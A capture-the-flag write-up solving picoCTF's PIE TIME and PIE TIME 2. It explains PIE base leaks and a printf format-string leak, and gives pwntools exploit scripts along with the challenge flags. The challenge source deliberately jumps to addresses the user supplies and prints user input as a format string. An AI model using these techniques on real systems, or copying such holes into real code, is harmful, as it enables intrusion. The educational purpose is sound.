PIE TIME
The challenge provides us the binary and the C code.
The code has a win function which prints the flag using fopen.
It also prints the address of main in the main function.
C Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
PIE
You can see that the binary is a pie executable.
file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped
If you don’t pass the -no-pie option when compiling the elf file it will be a PIE executable.
By default PIE is enabled.
What is PIE and what does it do?
PIE (Position Independent Executable) basically changes the base address of the binary every time you run
it.
Well, what’s the base address then?
The base address is the starting address of the binary when the binary is loaded into a process’s virtual address space.
You can run the binary with gdb and then pass info proc mapping or vmmap to check the binary base.
gef➤ vmmap
[ Legend: Code | Stack | Heap ]
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /picoctf/pwn/pie_time/vuln
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /picoctf/pwn/pie_time/vuln
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7d9b000 0x00007ffff7d9e000 0x0000000000000000 rw-
0x00007ffff7d9e000 0x00007ffff7dc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dc6000 0x00007ffff7f4e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4e000 0x00007ffff7f9d000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9d000 0x00007ffff7fa1000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa1000 0x00007ffff7fa3000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa3000 0x00007ffff7fb0000 0x0000000000000000 rw-
0x00007ffff7fbd000 0x00007ffff7fbf000 0x0000000000000000 rw-
0x00007ffff7fbf000 0x00007ffff7fc3000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc6000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffdd000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
We saw from the C code above that it prints the main address.
I ran the binary 3 times in a row.
./vuln
Address of main: 0x562371fc733d
Enter the address to jump to, ex => 0x12345:
^C
./vuln
Address of main: 0x557436e6933d
Enter the address to jump to, ex => 0x12345: ^C
./vuln
Address of main: 0x561ad164f33d
Enter the address to jump to, ex => 0x12345: ^C
You can see that the address of the main function changes every time I run it.
However there are certain numbers in the memory address that don’t change.
The last 3 numbers, in our case 33d is not changing.
The last three nibbles (the last 12 bits) of the memory address don’t change because they represent the offset within a memory page, not the randomized base address.
The OS randomizes the address on a page-by-page basis.
The computer’s memory is organized into fixed-size blocks called pages.
These are typically 4 KB (4096 bytes) on most systems. The operating system’s memory management unit (MMU) works with these pages, not with individual bytes.
When the operating system’s Address Space Layout Randomization (ASLR) feature loads a PIE binary, it doesn’t choose a completely random 64-bit address.
Instead, it chooses a random page-aligned address for the program’s base. This means the base address will always be a multiple of the page size.
A page size of 4 KB is 0x1000 in hexadecimal.
Any address that is a multiple of 0x1000 will have its last three nibbles be 000. For example, 0x555555554000, 0x555555620000, and 0x7f451a231000 are all page-aligned.
Another important fact in PIE binaries is that although the base of the binary changes, the offsets to each function doesn’t.
gdb will tell us the offset to the function and not the memory address because the addresses of the functions change every time when running the binary.
On the other hand, the offsets to the function’s in the binary don’t.
Since the binary gives us the main function’s address we can subtract the main function’s offset to get the binary base.
gef➤ p main
$1 = {<text variable, no debug info>} 0x133d <main>
./vuln
Address of main: 0x55b17ccb733d
Enter the address to jump to, ex => 0x12345:
So in this case the binary base would be 0x55b17ccb733d - 0x133d = 0x55b17ccb6000.
Now you can see that base address has 000as the last 3 digits due to page-alignment in the OS.
Then we need to call the win function, gdb will also calculate the offset to the win function from the base address.
gef➤ p win
$1 = {<text variable, no debug info>} 0x12a7 <win>
You can add the offset from the base address to calculate the actual win address.
0x55b17ccb6000 + 0x12a7 = 0x55b17ccb72a7.
0x55b17ccb72a7 is the win address.
Entering the win function’s address will get you the flag, but since I didn’t make the flag.txt file locally I get an error.
./vuln
Address of main: 0x55b17ccb733d
Enter the address to jump to, ex => 0x12345: 0x55b17ccb72a7
Your input: 55b17ccb72a7
You won!
Cannot open file.
You can also calculate the process above by hand, but it required a lot of typing.
Instead of typing address with my hands I wrote a pwntools script.
Exploit Code
from pwn import *
r = remote("rescued-float.picoctf.net", 59462)
e = ELF("./vuln")
r.recvuntil(b"Address of main: ")
main = int(r.recvline().strip().decode("utf-8"), 16)
print(hex(e.symbols["main"]))
base = main - e.symbols["main"]
print(hex(e.symbols["win"]))
win = base + e.symbols["win"]
r.sendline(hex(win).encode("utf-8"))
r.interactive()
# picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_cb52e722}
To be honest I don’t think this challenge is easy. lol
Further Reading
https://guyinatuxedo.github.io/5.1-mitigation_aslr_pie/index.html#pie
https://pwn.college/intro-to-cybersecurity/binary-exploitation/ (PIEs)
PIE TIME 2
file + checksec
file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped
All the security features are enabled.
checksec vuln
[*] '/home/picoctf/pwn/pie_time2/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
C code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
The vulnerability is a format string bug.
The code uses printf to print the contents of a character array directly, without using a format specifier like “%s”.
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
...
}
The binary is almost identical to the binary for PIE TIME.
It first asks for your name, then for an address.
To get the flag we need to enter the address of the win function, but since there are no direct memory leaks, we must leverage the format string bug to grab an address from the stack.
./vuln
Enter your name:hwkim301
enter the address to jump to, ex => 0x12345: 0x55555555536a
Segfault Occurred, incorrect address.
I can confirm that the 8th value printed my input ‘AAAAAAAAA’(0x4141414141414141).
./vuln
Enter your name:AAAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAAAAAAA 0x5557b40352a1 0xfbad2288 0x7ffc4e8b3240 (nil) 0x410 0x7ffc4e8b3250 0x7f1e9c5ca415 0x4141414141414141 0x2070252070252041 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x70252070252070 (nil) 0xb6b770174d159300 0x7ffc4e8b32a0 enter the address to jump to, ex => 0x12345: Segfault Occurred, incorrect address.
Since the binary is compiled with PIE, we must work with function offsets rather than static addresses.
gef➤ p win
$1 = {<text variable, no debug info>} 0x136a <win>
gef➤ p main
$2 = {<text variable, no debug info>} 0x1400 <main>
The offset from the start of the main function (0x1400) to the start of the win function (0x136a) is -150 bytes (0x136a - 0x1400).
./vuln
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x55aefbc5c2a1 0xfbad2288 0x7fff72052160 (nil) 0x410 0x7fff72052170 0x7f79eac98415 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 (nil) 0x187fb725601aee00 0x7fff720521c0 0x55aee0b43441 0x7fff72052260 0x7f79eac301ca enter the address to jump to, ex => 0x12345: Segfault Occurred, incorrect address.
Previously we figured out from my last writeup that even if PIE is enabled, the last 3 numbers or nibbles of the memory address never changes due to page alignment.
If you look closely at the 19th %p it printed 0x55aee0b43441.
gef➤ disass main
Dump of assembler code for function main:
0x0000000000001400 <+0>: endbr64
0x0000000000001404 <+4>: push rbp
0x0000000000001405 <+5>: mov rbp,rsp
0x0000000000001408 <+8>: lea rsi,[rip+0xfffffffffffffe9a] # 0x12a9 <segfault_handler>
0x000000000000140f <+15>: mov edi,0xb
0x0000000000001414 <+20>: call 0x1170 <signal@plt>
0x0000000000001419 <+25>: mov rax,QWORD PTR [rip+0x2bf0] # 0x4010 <stdout@@GLIBC_2.2.5>
0x0000000000001420 <+32>: mov ecx,0x0
0x0000000000001425 <+37>: mov edx,0x2
0x000000000000142a <+42>: mov esi,0x0
0x000000000000142f <+47>: mov rdi,rax
0x0000000000001432 <+50>: call 0x1180 <setvbuf@plt>
0x0000000000001437 <+55>: mov eax,0x0
0x000000000000143c <+60>: call 0x12c7 <call_functions>
0x0000000000001441 <+65>: mov eax,0x0
0x0000000000001446 <+70>: pop rbp
0x0000000000001447 <+71>: ret
gef➤ disass win
Dump of assembler code for function win:
0x000000000000136a <+0>: endbr64
0x000000000000136e <+4>: push rbp
0x000000000000136f <+5>: mov rbp,rsp
0x0000000000001372 <+8>: sub rsp,0x10
0x0000000000001376 <+12>: lea rdi,[rip+0xcf6] # 0x2073
0x000000000000137d <+19>: call 0x1110 <puts@plt>
0x0000000000001382 <+24>: lea rsi,[rip+0xcf3] # 0x207c
0x0000000000001389 <+31>: lea rdi,[rip+0xcee] # 0x207e
0x0000000000001390 <+38>: call 0x1190 <fopen@plt>
0x0000000000001395 <+43>: mov QWORD PTR [rbp-0x8],rax
0x0000000000001399 <+47>: cmp QWORD PTR [rbp-0x8],0x0
0x000000000000139e <+52>: jne 0x13b6 <win+76>
0x00000000000013a0 <+54>: lea rdi,[rip+0xce0] # 0x2087
0x00000000000013a7 <+61>: call 0x1110 <puts@plt>
0x00000000000013ac <+66>: mov edi,0x0
0x00000000000013b1 <+71>: call 0x11b0 <exit@plt>
0x00000000000013b6 <+76>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000013ba <+80>: mov rdi,rax
0x00000000000013bd <+83>: call 0x1150 <fgetc@plt>
0x00000000000013c2 <+88>: mov BYTE PTR [rbp-0x9],al
0x00000000000013c5 <+91>: jmp 0x13e1 <win+119>
0x00000000000013c7 <+93>: movsx eax,BYTE PTR [rbp-0x9]
0x00000000000013cb <+97>: mov edi,eax
0x00000000000013cd <+99>: call 0x1100 <putchar@plt>
0x00000000000013d2 <+104>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000013d6 <+108>: mov rdi,rax
0x00000000000013d9 <+111>: call 0x1150 <fgetc@plt>
0x00000000000013de <+116>: mov BYTE PTR [rbp-0x9],al
0x00000000000013e1 <+119>: cmp BYTE PTR [rbp-0x9],0xff
0x00000000000013e5 <+123>: jne 0x13c7 <win+93>
0x00000000000013e7 <+125>: mov edi,0xa
0x00000000000013ec <+130>: call 0x1100 <putchar@plt>
0x00000000000013f1 <+135>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000013f5 <+139>: mov rdi,rax
0x00000000000013f8 <+142>: call 0x1120 <fclose@plt>
0x00000000000013fd <+147>: nop
0x00000000000013fe <+148>: leave
0x00000000000013ff <+149>: ret
End of assembler dump.
It has the same last 3 numbers as 0x0000000000001441 <+65>: mov eax,0x0 in the main function.
The leaked address (0x…441) is the return address from call_functions, located at offset +65 within main.
The win function is at a static offset of 0x136a.
Therefore, the offset from our leaked address to the win function is 0x1441 - 0x136a = 215 bytes. We must subtract this from the leaked address to find win.
Instead of typing 19 %ps manually to find the address in the main function, you can use a format specifier %19$p.
%19$p allows you to directly select the 19th argument from the printf function.
Another important note is that since the offset from the binary base to the main function is 0x1400 and the offset to the win function is 0x136a you need to subtract the offset.
Exploit Code
from pwn import *
r = remote("rescued-float.picoctf.net", 52433)
r.sendlineafter(b"Enter your name:", b"%19$p")
leak = int(r.recvline().strip(), 16)
print(hex(leak))
win = leak - 215
r.sendlineafter(b"ex => 0x12345:", hex(win).encode("utf-8"))
r.interactive()
# picoCTF{p13_5h0u1dn'7_134k_2718fe04} pie_shouldn't_leak
Some questions after getting the flag
Even though I solved the problem with looking at writeups and spending a couple hours, I still had 2 questions.
1. Why does the virtual address of ELF files compiled with PIE always start at 0x0000555555555400?
Someone on stack-overflow posted almost the same question I had.
After looking at the linux kernel source code, I guess I can understand a little bit of the reason.
https://elixir.bootlin.com/linux/v6.13/source/arch/x86/include/asm/elf.h
https://elixir.bootlin.com/linux/v6.13/source/arch/x86/include/asm/page_64_types.h
2. Is there a way to find the offset faster instead of entering a bunch of %ps to get the offset?
I’ll answer this for the writeup of format string.